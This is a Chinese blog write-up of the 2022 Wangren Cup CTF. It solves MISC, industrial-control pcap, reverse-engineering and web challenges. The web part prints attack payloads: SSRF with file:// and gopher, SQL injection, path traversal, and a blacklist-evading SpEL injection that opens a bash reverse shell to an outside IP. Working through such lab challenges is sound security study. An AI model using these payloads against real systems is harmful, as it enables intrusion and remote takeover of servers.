2022第二届网刃杯writeup


这次re做了4个,ICS做了3个,wp直接贴战队的了。

MISC

玩坏的winxp

1、虚拟机加载硬盘
2、Magnet AXIOM收集信息发现了网页浏览历史中的特殊网址。
在这里插入图片描述3、meiren.png中两次binwalk可以得到一个需要密码才能解压的zip,并且提示寻找戴围脖的软件。
4、尝试直接使用浏览历史中的qq号解压缩失败后,直接加这个qq的好友,找到了压缩密码的md5。
在这里插入图片描述5、使用xiaomin520解压压缩包,flag就在somethin.png

ICS

easyiec

直接搜索就行
在这里插入图片描述

喜欢移动的黑客

修复一下流量包头
在这里插入图片描述头部长度不对,再改一下
在这里插入图片描述可以正常打开:
在这里插入图片描述单独导出modbus流量
然后分析

import pyshark
def get_code():
     captures = pyshark.FileCapture("modbus.pcapng")
     func_codes = {}
     for c in captures:
         for pkt in c:
             if pkt.layer_name == "modbus":
                 func_code = int(pkt.func_code)
                 if func_code in func_codes:
                     func_codes[func_code] += 1
                 else:
                     func_codes[func_code] = 1
     print(func_codes)
     captures.close()

if __name__ == '__main__':
 get_code()
 #find_flag(6)

结果:
{1: 196, 3: 116, 6: 18}

含义:

0x01 读线圈

0x05 写单个线圈

0x0F 写多个线圈

0x02 读离散量输入

0x04 读输入寄存器

0x03 读保持寄存器

0x06 写单个保持寄存器

0x10 写多个保持寄存器

所以操作有 6 是写寄存器 3是读取

根据题目,Monkey是一家汽修厂的老板,日常喜欢改装车,但由于发动机的转速有上限,发动机最多能接受10000转/分钟的转速,Monkey在最新一次对发动机转速进行测试时发生了故障,机械师阿张排查时测试期间,有一些异常的流量,请根据阿张捕获的流量包分析发动机的转速达到了多少转才出现的故障,flag为flag{data+包号}

分析单个指令流量

import pyshark
def get_code():
     captures = pyshark.FileCapture("modbus.pcapng")
     func_codes = {}
     for c in captures:
         for pkt in c:
             if pkt.layer_name == "modbus":
                 func_code = int(pkt.func_code)
                 if func_code in func_codes:
                     func_codes[func_code] += 1
                 else:
                     func_codes[func_code] = 1
     print(func_codes)
     captures.close()

if __name__ == '__main__':
 #get_code()
 find_flag(6)

结果:

00000000000601060001091d
161 *
00000000000601060001091d
162 *
0000000000060106000109fb
163 *
0000000000060106000109fb
164 *
00000000000601060001154f
165 *
00000000000601060001154f
166 *
000000000006010600011a0a
167 *
000000000006010600011a0a
168 *
000000000006010600011b39
185 *
000000000006010600011b39
186 *
000000000006010600011b35
187 *
000000000006010600011b35
188 *
000000000006010600012766
189 *
000000000006010600012766
190 *
00000000000601060001270f
191 *
00000000000601060001270f
192 *
0000000000060106000126cd
193 *
0000000000060106000126cd
194 *

000000000006010600012766 这个包的数据 超过了100000 转速为10086
所以在原来的流量包中找到这个包的编号为68156
在这里插入图片描述flag为:flag{10086+68156} 还是flag{1008668156} 提交。

carefulguy

TCP流量里面存在十六进制,将十六进制依次取出拼接在一起
在这里插入图片描述在这里插入图片描述

666c61677b7034757333313576337279316e7433726573746963397d
flag{p4us315v3ry1nt3restic9}

xyp07

Vm0weGQxRXlTWGxVV0d4V1YwZFNVRlpyV25kWlZsSllZMFZrVmxKdVFsaFdNalZMWWtkS1IxTnFSbGhYU0VKNlZsWmFWMVpWTVVWaGVqQTk=

解几次base64得到密码Xyp77&7&77
过滤s7comm流量然后追踪tcp
找到下面有个字符串比较特殊
在这里插入图片描述解密得到:
在这里插入图片描述所以尝试提交:
flag{welcome_S7_world_xyp07}

re

定时启动

启动时发现需要时间:
在这里插入图片描述使用date命令设置时间,在启动还是不行
在这里插入图片描述换到kali中去,看下设置时间后的时间,发现成功了
在这里插入图片描述

ez_algorithm

ida分析后发现处理流程中,是对单个字符进行处理,那就可以爆破。
摘出处理函数如下,再写个爆破的python脚本。可以跑出
flag{w3Lc0mE#t0+3NcrYPti0N:}
其中针对_有随机处理为 特殊字符,所以跑出的flag中替换一下尝试提交即可。

#include <stdio.h>
#include <string.h>
#include "idatypes.h"
char *xyp2(void)
{
  return "ckagevdxizblqnwtmsrpufyhoj";
}

char *xyp3(void)
{
  return "TMQZWKGOIAGLBYHPCRJSUXEVND";
}

__int64  encryption3(char a1)
{
  unsigned __int8 v2; // [rsp+10h] [rbp+10h]

  v2 = a1;
  if ( (a1 <= 64 || a1 > 70) && (a1 <= 96 || a1 > 102) )
  {
    if ( (a1 <= 84 || a1 > 90) && (a1 <= 116 || a1 > 122) )
    {
      if ( (a1 <= 71 || a1 > 77) && (a1 <= 103 || a1 > 109) )
      {
        if ( (a1 <= 77 || a1 > 83) && (a1 <= 109 || a1 > 115) )
        {
          if ( a1 == 71 || a1 == 103 )
          {
            return (unsigned __int8)(a1 + 13);
          }
          else if ( a1 == 84 || a1 == 116 )
          {
            return (unsigned __int8)(a1 - 13);
          }
          else if ( a1 > 47 && a1 <= 57 )
          {
            return (unsigned __int8)(105 - a1);
          }
        }
        else
        {
          return (unsigned __int8)(a1 - 6);
        }
      }
      else
      {
        return (unsigned __int8)(a1 + 6);
      }
    }
    else
    {
      return (unsigned __int8)(a1 - 20);
    }
  }
  else
  {
    return (unsigned __int8)(a1 + 20);
  }
  return v2;
}

__int64  encryption2(char a1)
{
  unsigned __int8 v2; // [rsp+30h] [rbp+10h]

  v2 = a1;
  if ( a1 <= 64 || a1 > 90 )
  {
    if ( a1 <= 96 || a1 > 122 )
    {
      if ( a1 > 47 && a1 <= 57 )
        return (unsigned __int8)encryption3(a1);
    }
    else
    {
      return (unsigned __int8)encryption3(a1 - 32);
    }
  }
  else
  {
    return (unsigned __int8)encryption3(a1 + 32);
  }
  return v2;
}

char * encryption(char *a1)
{
  int v1; // eax
  char v2; // al
  char v3; // al
  __int64 v4; // kr00_8
  char v5; // al
  char v6; // al
  int v7; // eax
  char v8; // al
  char v9; // al
  char v10; // al
  char v11; // al
  char v12; // al
  char v14[1012]; // [rsp+20h] [rbp-60h] BYREF
  int v15; // [rsp+414h] [rbp+394h]
  const char *v16; // [rsp+418h] [rbp+398h]
  const char *v17; // [rsp+420h] [rbp+3A0h]
  int v18; // [rsp+42Ch] [rbp+3ACh]
  char *v19; // [rsp+430h] [rbp+3B0h]
  char *v20; // [rsp+438h] [rbp+3B8h]

  v17 = xyp2();                                 // ckagevdxizblqnwtmsrpufyhoj
  v16 = xyp3();                                 // TMQZWKGOIAGLBYHPCRJSUXEVND
  v20 = v14;
  v19 = a1;
  v18 = 0;
  v15 = 1;
  
  while ( v18 < strlen(a1) )
  {
  	//printf("---v19:%x\n",*v19);
    if ( *v19 <= 0x40 || *v19 > 90 )            // 非大写
    {
      if ( *v19 <= 0x60 || *v19 > 122 )         // 非小写
      {
        if ( *v19 == '_' )                      // 下划线
        {
          switch ( v15 + rand() % 7 )
          {
            case 0:
              *v20 = ':';
              break;
            case 1:
              *v20 = '&';
              break;
            case 2:
              *v20 = '+';
              break;
            case 3:
              *v20 = '*';
              break;
            case 4:
              *v20 = '\\';
              break;
            case 5:
              *v20 = '?';
              break;
            case 6:
              *v20 = '$';
              break;
            case 7:
              *v20 = '#';
              break;
            default:
              break;
          }
        }
        else if ( *v19 <= 0x2F || *v19 > 0x39 ) // 非数字 - 小写
        {
          *v20 = *v19;
        }
        else
        {
          v12 = encryption2(*v19);              // 数字
          *v20 = v12;
        }
      }
      else                                      // 小写字母
      {
        v7 = v18 % 4;
        if ( v18 % 4 == 1 )
        {
          v9 = encryption2(v17[(*v19 - 'a') * (v18 % 4)]);
          *v20 = v9;
        }
        else if ( v7 > 1 )
        {
          if ( v7 == 2 )
          {
            v10 = encryption2(v17[(*v19 - 97) ^ (v18 % 4)]);
            *v20 = v10;
          }
          else if ( v7 == 3 )
          {
            v11 = encryption2(v17[*v19 - 97 + v18 % 4]);
            *v20 = v11;
          }
        }
        else if ( !v7 )
        {
          v8 = encryption2(v17[*v19 - 97 - v18 % 4]);
          *v20 = v8;
        }
      }
    }
    else                                        // 大写字母
    {
      v1 = v18 % 4;
      if ( v18 % 4 == 1 )
      {
        v3 = encryption2(v16[*v19 - 65 + v18 % 4]);
        *v20 = v3;
      }
      else if ( v1 > 1 )
      {
        if ( v1 == 2 )
        {
          v4 = v18 * (*v19 - 65);
          v5 = encryption2(v16[(((HIDWORD(v4) >> 30) + (unsigned __int8)v18 * (*v19 - 65)) & 3) - (HIDWORD(v4) >> 30)]);
          *v20 = v5;
        }
        else if ( v1 == 3 )
        {
          v6 = encryption2(v16[(*v19 - 65) ^ (v18 % 4)]);
          *v20 = v6;
        }
      }
      else if ( !v1 )
      {
        v2 = encryption2(v16[*v19 - 65 - v18 % 4]);
        *v20 = v2;
      }
    }
   
    ++v18;
    ++v19;
    ++v20;
  }
  printf("%s\n",v14);
  return v14;
}


const char *xyp1(void)
{
  return "BRUF{E6oU9Ci#J9+6nWAhwMR9n:}";
}

int  main()
{
  const char *v3; // rax
  char v5[1000]; // [rsp+20h] [rbp-60h] BYREF
  char *Str1; // [rsp+408h] [rbp+388h]


  sprintf(v5,"abc123");

  while(1){
  	scanf("%s", v5);
  	Str1 = encryption(v5);
  }

  
  /*
  printf("ret:%s\n",Str1);
  v3 = xyp1();
  if ( !strcmp(Str1, v3) )
    puts("Gj!You Win!!!");
  else
    puts("Sry!You Lost!!!");
  system("pause");
  */
  return 0;
}
#encoding=utf-8
from pwn import *
r = process('/mnt/d/ctf/ti/网刃杯2022/re-ez_algorithm/e')

cc = b"BRUF{E6oU9Ci#J9+6nWAhwMR9n:}"
#BRUF{E6oU9Ci#J9+6nWAhwMR9n:}
import string
flag=''
        
for i in range(len(cc)):
    for c in string.printable:
        r.sendline(flag+c)
        t = r.recvline()
        
        if (t[i] == cc[i]):
            print(c,t[i],cc[i])
            flag +=c
            break  
print(flag)
r.interactive()
#flag{w3Lc0mE#t0+3NcrYPti0N:}
#flag{w3Lc0mE_t0_3NcrYPti0N_}
#flag{w3Lc0mE_t0_3NcrYPti0N:} 这个对

Re_function

zip加密了查看注释,发现一堆16进制数。
使用 CyberChef 得到密码:
在这里插入图片描述得到密码:3CF8

re_easy_func1.exe 主处理逻辑为:

 for ( i = 0; i < v4; i += 2 )
    Buffer[i] ^= 0x37u;
  v6 = 0;
  if ( v4 <= 0 )
    goto LABEL_7;
  do
  {
    v7 = *((_BYTE *)&v10 + v6);
    v8 = Buffer[v6++];
  }
  while ( v6 < v4 )

re_easy_func是一个换表base64
脚本:

flag=[100, 113, 84, 84, 100, 120, 116, 120, 100, 65, 64, 72, 112, 109, 24, 74, 65, 120, 102, 114, 65, 120, 94, 78, 93, 82, 14, 61]

for i in range(0,len(flag),2):
    flag[i] ^= 0x37
print(bytes(flag))


import base64
a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'    #标准表
b = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'   #新表


c = 'SqcTSxCxSAwHGm/JvxQrvxiNjR9='
trantab = c.maketrans(b, a)
print(base64.b64decode(c.translate(trantab))) 

#flag{we1come_t0_wrb}

freestyle

from sympy import Symbol,solve
x = Symbol('x')
y = Symbol('y')

fx=4 * (3 * x / 9 - 9) - 4400

r = solve(fx,x)
print(r)

#3327

#2 * (y % 56) = 98

#y%56 = 49
#y = 49、105、。。。。
y = 105

import hashlib

print(hashlib.md5(b"3327105").hexdigest())

# flag{31a364d51abd0c8304106c16779d83b1}

web

Sign_in

打开网页:

<?php
    highlight_file(__FILE__);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
?>

这里可以进行SSRF,尝试直接file协议读取flag,失败,猜测当前机器没有flag,还有其他机器,读取路由表

?url=file:///proc/net/arp 

发现其他机器,http取访问,发现一个特殊的机器
在这里插入图片描述要求传入a,b参数,同时要求本地,从bolean.club,利用gopher协议

import urllib.parse
payload =
"""
POST /?a=1 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
Referer: bolean.club

b=1
"""  

url = urllib.parse.quote(payload)
url = url.replace('%0A','%0D%0A')
res = 'gopher://172.73.26.100:80/'+'_'+url
res = urllib.parse.quote(result)

print(res)

得到flag:flag{Have_A_GoOd_T1m3!!!}

upload

抓包修改type为ctf上传php文件,发现可以上传但不解析:
在这里插入图片描述题目说了与sql有关,尝试在扩展名处加上单引号测试一下,结果引发sql报错
在这里插入图片描述尝试报错注入
在这里插入图片描述爆出upload库,使用sqlmap也可以到这,后续注入无法注出表名,用 select flag from flag试试发现可以出来部分flag:
在这里插入图片描述
另一半:
在这里插入图片描述得到flag:flag{5937a0b90b5966939cccd369291c68aa}

ez_java

存在文件下载,经过测试得到web.xml

?filename=../../../web.xml

发现 test388 与 download,下载对应的class文件

?filename=../../../classes/com/abc/servlet/TestServlet.class
?filename=../../../classes/com/abc/servlet/DownloadServlet.class

反编译后发现spel表达式注入,黑名单需要绕过
在这里插入图片描述通过反射与字符串拼接绕过黑名单,payload

name=#{T(String).getClass().forName("ja"+va.l"+"ang.Ru"+"nt"+"ime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","bash -i >&/dev/tcp/150.158.181.145/2000 0>&1"})}

得到flag: flag{123awerghjvxcvcjfreawe}

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丶拾光_w4ngz

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值